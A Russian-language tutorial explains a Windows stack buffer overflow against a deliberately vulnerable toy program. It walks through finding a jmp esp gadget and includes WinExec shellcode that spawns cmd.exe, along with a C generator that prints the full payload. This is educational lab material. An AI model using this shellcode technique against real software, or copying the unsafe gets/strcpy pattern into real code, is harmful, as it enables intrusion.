Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 2 сентября!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

ПРОГРАММИРОВАНИЕ НА C и С++



Давно заметил, что всё-таки языки С/C++ это не самый лучший вариант программирования под Windows. Сейчас появилась масса более современных и удобных языков, например тот же Python - кроссплатформенный язык, очень легок в изучение. Я его изучил буквально за несколько дней по этому курсу - ссылка. Автор постарался, там видеоуроки на удивление легкие и понятные.
Stack Overflows in Action
Part №2

1. Header
В прошлой статье я выложил информацию общего плана, которая необходима для тех, кто услышал о эксплоитах впервые, а тем более никогда не вникал в основную идею. Теперь приступлю к изложению непосредственно практики, которая на самом деле и является воплощением предыдущей статьи.
Сразу хочу предупредить, что данный шелл не совершенен и максимально упрощен, к примеру вместо получения адреса необходимых функций с помощью пары LoadLibrary/GetProcAddress используются прямые ссылки, что локализирует действие данного шелла на те системы, на которых адреса, зашитые в шелл совпадут с реальными адресами функций в DLL. Очевидно от чего это зависит - если Windows загрузит DLL по другой базе, то шелл вылетит с сообщением типа вот такого:


...где 0х77е8898b адрес jmp esp в kernel32.dll в моей системе.
Поэтому в данном шелле подбор адресов должен производится чисто индивидуально для каждой системы. Далее я опишу как определять эти адреса. Зачем так стараться? ИМХО: это улучшит навыки любого кто самостоятельно найдет нужный адрес своим девайсом(то есть ручками). А вообще нужно действовать несколько иначе: для особо продвинутых подскажу идеи:
а) Использовать ссылки из таблицы импорта
б) Использовать LoadLibrary/GetProcAddress
Но эта тема будет обсуждаться в других статьях.
Начнем...

2. Sections
Пишем собственную прогу вида

"owerflow.c"
 #include <stdio.h>
 #include <string.h>
 int test(char *big)
 {
       char buffer[100];  // переполняемый буфер
       strcpy(buffer,big);// собственно само переполнение
       return 0;
 }
 int main ()
 {
 	char big[512];
 	gets(big); // получение текствой строки-сюда-то мы и передаем наш шелл
 	test(big); // вызов уязвимой функции
     return 0;
 }
В этом коде нет ничего сверхъестественного, а потому идем далее. Как определить, что переполняется, где переполняется и чего куда передавать?
Элементарно! Берем, запускаем нашу программу owerflow.exe(для танкистов - owerflow.exe получается путем компиляции owerflow.c ) и передаем ей строку вида:
Аааааа.........ааааааааа - где-то примерно символов 110 для уверенности. И что мы видим?

Доигрались - скажете вы. А на самом-то деле все отлично прошло, вы взорвали буфер и как результат(об этом я и упоминал в первой части), перезаписали адрес возврата из функции кодом 0х61(тоесть символом 'a'). А теперь я вас хочу спросить: кто мешает вам вместо бессмысленных строк символов передать строку опкодов, которая получила гордое название шелл-кода? Никто! При внимательном рассмотрении сложившейся ситуации под четким оком SoftIce, легко понять что произошло: благодаря специфике стека наша строка затерла собой как сохраненное значение ebp, так и адрес возврата. Обратите внимание, что адрес возврата затирается 104,105,106,107 символами нашей строки(это видно тогда, когда вместо ааа..аааа передется последовательность символов с ASCII кодами начиная с 32 по 256), поэтому необходимо сформировать строку так, чтобы 104-107 байты содержали адрес, по которому нужно передать управление. Теперь выясним это самый адрес, но сперва замечу, что байты с 100 по 103 перекрывают сохраненное значение EBP - это нам тоже пригодится для формирования стэка, но об этом позже. Посмотрев в SoftIce содержимое регистра esp в момент переполнения, легко установить, что там содержится адрес байта нашей строки, следующего за последним из четырех байтов, перекрывающих EIP. Сие означает следующее:

(*) - Символы, заполняющие буфер-приемник и потому не имеющие значения, их заполним NOP
(**) - Эти 4 байта начиная с N и заканчивая N+3 перекрывают собой EIP. Поэтому для корректного исполнения шелл-кода они должны содержать адрес, по которому размещается первый байт нашего шелла, либо адрес инструкции, переводящий процессор на исполнение этого первого байта.
(***) - Начиная с N+4 и до M идут опкоды, которые и составят наш шелл. С помощью SoftIce удалось установить, что нужный нам адрес перехода содержится в ESP после исполнения RET в вызываемой функции test -> если переполнить буфер при запущенном SoftIce, то во всплывшем окне отладчика нужно просто просмотреть значения регистров и командой D esp просмотреть содержимое памяти по адресу в esp, там мы увидим нашу строку начиная с N+4.

Отлично! Осталось заполнить строку, начиная со 108-позиции, опкодами и передать управление по адресу в esp. Для этого снова переполним программу при запущенном Sice и когда он всплывет введем команду:
:S 10000000 l ffffffff FF e4
где 10000000-ffffffff-диапазон поиска, а FF e4-опкод инструкции jmp esp
получим:
;Pattern found at xxxxxxxx <- этот адрес может отличаться(у меня он равен 77e98601, что соответствует ntdll.dll).
Мы определили адрес jmp esp-теперь мы передадим этот адрес в позиции 104-107 и получим, что при переполнении в eip будет помещен адрес инструкции jmp esp из ntdll.dll, которая и перебросит нас на 108-позицию нашей строки. Осталось эту самую строку наполнить опкодами. В качестве шелла обычно используют код, реализующий загрузку консоли(для виндов это аналогично окну Command Prompt). Для этого составим программу на C:

"winexec.c"
 #include <windows.h>
 typedef (*PFUNK)(char*,DWORD);
 int main ()
 {
 HMODULE hDll=LoadLibrary("kernel32.dll");
 	PFUNK pFunc=(PFUNK) GetProcAddress(hDll,"WinExec");
 	(*pFunc)("cmd.exe //K start cmd.exe",SW_SHOW);
 }
WinExec исполняет программу, требует 2 параметра и располагается в kernel32.dll. Все это работает потому, что kernel32.dll использует любая программа и потому, что адрес не содержит нулевых байтов, наличие которых недопустимо. В переменной pFunc получим адрес WinExec, у каждого он будет свой. Теперь нам нужно сформировать асм-код, вызывающий WinExec. Вот он:

 __asm {
 	mov esp,ebp ;формируем пролог
 	push ebp
 	mov ebp,esp
 	mov esi,esp
 	xor edi,edi;формируем завершающие нули
 	push edi
 	sub esp,18h//освобождаем в стэке место под строку
 	//стэк должен всегда быть выровнян на границу кратную 4
 	//для обеспечения  гранулярности
 	mov byte ptr [ebp-1ch],63h //'c'//пулим в стэк строку
 	mov byte ptr [ebp-1bh],6Dh //'m'
 	mov byte ptr [ebp-1ah],64h //'d'
 	mov byte ptr [ebp-19h],2Eh //'.'
 	mov byte ptr [ebp-18h],65h //'e'
 	mov byte ptr [ebp-17h],78h //'x'
 	mov byte ptr [ebp-16h],65h //'e'
 	mov byte ptr [ebp-15h],20h //' '
 	mov byte ptr [ebp-14h],2fh //'/'
 	mov byte ptr [ebp-13h],4bh //'K'
 	mov byte ptr [ebp-12h],20h //' '
 	mov byte ptr [ebp-11h],73h //'s'
 	mov byte ptr [ebp-10h],74h //'t'
 	mov byte ptr [ebp-0fh],61h //'a'
 	mov byte ptr [ebp-0eh],72h //'r'
 	mov byte ptr [ebp-0dh],74h //'t'
 	mov byte ptr [ebp-0ch],20h //' '
 	mov byte ptr [ebp-0bh],63h //'c'
 	mov byte ptr [ebp-0ah],6dh //'m'
 	mov byte ptr [ebp-09h],64h //'d'
 	mov byte ptr [ebp-08h],2Eh //'.'
 	mov byte ptr [ebp-07h],65h //'e'
 	mov byte ptr [ebp-06h],78h //'x'
 	mov byte ptr [ebp-05h],65h //'e'
 	//поместить в eax адрес winexec полученный из pFunc
 	mov eax, 0x77e98601
 	//поместить в стэк адрес winexec
 	push eax
 	//передаем параметр SW_SHOW
 	push 05
 	//передаем адрес строки
 	lea eax,[ebp-1ch]
 	push eax
 	//ExitProcess в eax
 	mov eax,0x77e9b0bb
 	push eax //устанавливаем адрес возврата
 	mov eax, 0x77e98601
 	//перейти на точку входа  winexec
 	jmp eax		}
 
Теперь стэк имеет такой вид:

Этот код проверялся в Visual C++6.0 и все работает отлично. Ну теперь осталось сформировать строку из опкодов. А где их взять? Да в том же Visual C++ Debugger. Просто при трассировке из контекстного меню выберите опцию Code Bytes при включенном Disassembly mode и вы получите необходимые опкоды. Осталось только собрать все воедино:
"overflower.c"
 #include <stdio.h>
 int  main()
 {
 	int i;
 	char buf[256];
 //ЗАПОЛНЯЕМ БУФЕР NOP
     for (i=0;i<100;i++)
 		buf[i]=0x90;
 	// Перекрыть ebp адресом начала нашего строкового буфера,
 	// чтобы потом использовать его под стек, адрес передается
 	// через xor чтобы затереть нули. Затем инструкцией
 	// xor ebp,0xffffffff восстанавливаем первоначальный адрес
 	buf[100]=0x3f;
 	buf[101]=0x01;
 	buf[102]=0xed;
 	buf[103]=0xff;
 	//поместить адрес инструкции jmp esp
 	//расположенной в ntdll.dll по адресу 77f8948B
 	//в те 4 байта которые перекрывают eip
 	buf[104]=0x8b;
 	buf[105]=0x94;//89;
 	buf[106]=0xf8;//e8;
 	buf[107]=0x77;
 
 	buf[108]=0x90;
 	//xor ebp,0xffffffff <-формируем министек для последующего вызова winexec
 	buf[109]=0x83;
 	buf[110]=0xf5;
 	buf[111]=0xff;
 	//****************
 	//mov esp,ebp
 	buf[112]=0x8b;
 	buf[113]=0xe5;
 	//******************
 	//push ebp
 	buf[114]=0x55;
 	//mov ebp,esp
 	buf[115]=0x8b;
 	buf[116]=0xec;
 	//xor edi,edi
 	buf[117]=0x33;
 	buf[118]=0xff;
 	//push edi
 	buf[119]=0x57;
 	//sub esp,18h
 	buf[120]=0x83;
 	buf[121]=0xec;
 	buf[122]=0x18;
 	//**********************************
 	//создание строки на стеке         *
    	//mov byte ptr [ebp-19h],63h 'c'
 	buf[123]=0xc6;
 	buf[124]=0x45;
 	buf[125]=0xe4;
 	buf[126]=0x63;
 	//mov byte ptr [ebp-18h],6dh 'm'
 	buf[127]=0xc6;
 	buf[128]=0x45;
 	buf[129]=0xe5;
 	buf[130]=0x6d;
 	//mov byte ptr [ebp-17h],64h 'd'
 	buf[131]=0xc6;
 	buf[132]=0x45;
 	buf[133]=0xe6;
 	buf[134]=0x64;
 	//mov byte ptr [ebp-16h],2eh '.'
 	buf[135]=0xc6;
 	buf[136]=0x45;
 	buf[137]=0xe7;
 	buf[138]=0x2e;
 	//mov byte ptr [ebp-15h],65h 'e'
 	buf[139]=0xc6;
 	buf[140]=0x45;
 	buf[141]=0xe8;
 	buf[142]=0x65;
 	//mov byte ptr [ebp-14h],78h 'x'
 	buf[143]=0xc6;
 	buf[144]=0x45;
 	buf[145]=0xe9;
 	buf[146]=0x78;
 	//mov byte ptr [ebp-13h],65h 'e'
 	buf[147]=0xc6;
 	buf[148]=0x45;
 	buf[149]=0xea;
 	buf[150]=0x65;
 
 	//mov byte ptr [ebp-12h],20h ' '
 	buf[151]=0xc6;
 	buf[152]=0x45;
 	buf[153]=0xeb;
 	buf[154]=0x20;
 
 	//mov byte ptr [ebp-11h],2fh '/'
 	buf[155]=0xc6;
 	buf[156]=0x45;
 	buf[157]=0xec;
 	buf[158]=0x2f;
 	//mov byte ptr [ebp-10h],4bh 'K'
 	buf[159]=0xc6;
 	buf[160]=0x45;
 	buf[161]=0xed;
 	buf[162]=0x4b;
 
 	//mov byte ptr [ebp-0fh],20h ' '
 	buf[163]=0xc6;
 	buf[164]=0x45;
 	buf[165]=0xee;
 	buf[166]=0x20;
 
 	//mov byte ptr [ebp-0eh],73h 's'
 	buf[167]=0xc6;
 	buf[168]=0x45;
 	buf[169]=0xef;
 	buf[170]=0x73;
 	//mov byte ptr [ebp-0dh],74h 't'
 	buf[171]=0xc6;
 	buf[172]=0x45;
 	buf[173]=0xf0;
 	buf[174]=0x74;
 	//mov byte ptr [ebp-0ch],61h 'a'
 	buf[175]=0xc6;
 	buf[176]=0x45;
 	buf[177]=0xf1;
 	buf[178]=0x61;
 	//mov byte ptr [ebp-0bh],72h 'r'
 	buf[179]=0xc6;
 	buf[180]=0x45;
 	buf[181]=0xf2;
 	buf[182]=0x72;
 	//mov byte ptr [ebp-0ah],74h 't'
 	buf[183]=0xc6;
 	buf[184]=0x45;
 	buf[185]=0xf3;
 	buf[186]=0x74;
 
 	//mov byte ptr [ebp-9],20h ' '
 	buf[187]=0xc6;
 	buf[188]=0x45;
 	buf[189]=0xf4;
 	buf[190]=0x20;
 
 	//mov byte ptr [ebp-8],63h 'c'
 	buf[191]=0xc6;
 	buf[192]=0x45;
 	buf[193]=0xf5;
 	buf[194]=0x63;
 	//mov byte ptr [ebp-7],6dh 'm'
 	buf[195]=0xc6;
 	buf[196]=0x45;
 	buf[197]=0xf6;
 	buf[198]=0x6d;
 	//mov byte ptr [ebp-6],64h 'd'
 	buf[199]=0xc6;
 	buf[200]=0x45;
 	buf[201]=0xf7;
 	buf[202]=0x64;
 	//mov byte ptr [ebp-5],2eh '.'
 	buf[203]=0xc6;
 	buf[204]=0x45;
 	buf[205]=0xf8;
 	buf[206]=0x2e;
 	//mov byte ptr [ebp-4],65h 'e'
 	buf[207]=0xc6;
 	buf[208]=0x45;
 	buf[209]=0xf9;
 	buf[210]=0x65;
 	//mov byte ptr [ebp-3],78h 'x'
 	buf[211]=0xc6;
 	buf[212]=0x45;
 	buf[213]=0xfa;
 	buf[214]=0x78;
 	//mov byte ptr [ebp-2],65h 'e'
 	buf[215]=0xc6;
 	buf[216]=0x45;
 	buf[217]=0xfb;
 	buf[218]=0x65;
 	//*************************************
 	//mov eax,77 e9 86 01h <-Winexec address
 	buf[219]=0xb8;
 	buf[220]=0x01;
 	buf[221]=0x86;
 	buf[222]=0xe9;
 	buf[223]=0x77;
 	//push eax
 	buf[224]=0x50;
 
 	//push 05 <-SW_SHOW_NORMAL
 	buf[225]=0x6a;
 	buf[226]=0x05;
 
 	//lea eax,[ebp-1ch] <-адрес строки
 	buf[227]=0x8d;
 	buf[228]=0x45;
 	buf[229]=0xe4;
 	//push eax
 	buf[230]=0x50;
 	//эмулируем call dword ptr [ebp-0ch]
 	//для этого формируем адрес возврата и пушим его
 	//а затем просто джампим на eax в котором адрес аналог.[ebp-0ch]
 	//таким образом прыгаем на winexec, которая возвращает
 	//управление на ExitProcess
 
 	//mov eax,0x77e8f32d <-ExitProcess
 	buf[231]=0xb8;
 	buf[232]=0x2d;
 	buf[233]=0xf3;
 	buf[234]=0xe8;
 	buf[235]=0x77;
 	//push eax <-сделать адресом возврата адрес переданный в eax
 	buf[236]=0x50;
 	//mov eax,0x77e8f32d <-WinExec address
 	buf[237]=0xb8;
 	buf[238]=0x01;
 	buf[239]=0x86;
 	buf[240]=0xe9;
 	buf[241]=0x77;
 	//jmp eax <-выполнить WinExec
 	buf[242]=0xff;
 	buf[243]=0xe0;
 	//ПЕРЕДАТЬ СТРОКУ В ПЕРЕПОЛНЯЕМЫЙ БУФЕР
 	for(i=0;i<256;i++)
 	{
 		printf("%c",buf[i]);
 	}
 
 
 }
Ну вот вроде и все. Единственное: добавлю про ebp - этот регистр играет важную роль в нашем нелегком деле. Нужно где-то формировать стэк, но где? А почему не использовать под стэк наш буфер, заполненный NOP? Так и забилдим, под SoftIce посмотрим содержимое ESP и отнимем от него 64h либо зададим искать строку 0х9090909090 - кто как желает, главное найти адрес начала буфера. Затем этот адрес поместим в EBP (помните в начале я акцентировал внимание на том, что байты с 100 по 103 перекрывают ebp - ну так и поместим найденный адрес в эти байты предварительно удалив из него нули). А как? Да очень просто - сделать Исключающее ИЛИ в терминах булевой алгебры, либо по-простому XOR. Тоесть иксорим начальный адрес, передаем в ebp, а затем в шелле снова делаем XOR EBP,0xFFFFFFFF и все! Теперь у нас есть стек.
Недостатками данного шелла являются прямые ссылки на функции, возможно я поправлю эти фичи и запортирую новый шелл, гораздо более универсальный.


Happy END of Part №2

buLLet
bullet@uinc.ru
uinC Member
[c]uinC

Выражаю огромное спасибо за ПОМОЩЬ Андрею Колищаку, статья котрого лежит здесь.

Все документы и программы на этом сайте собраны ТОЛЬКО для образовательных целей, мы не отвечаем ни за какие последствия, которые имели место как следствие использования этих материалов\программ. Вы используете все вышеперечисленное на свой страх и риск.



<< ВЕРНУТЬСЯ В ПОДРАЗДЕЛ

<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ




Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS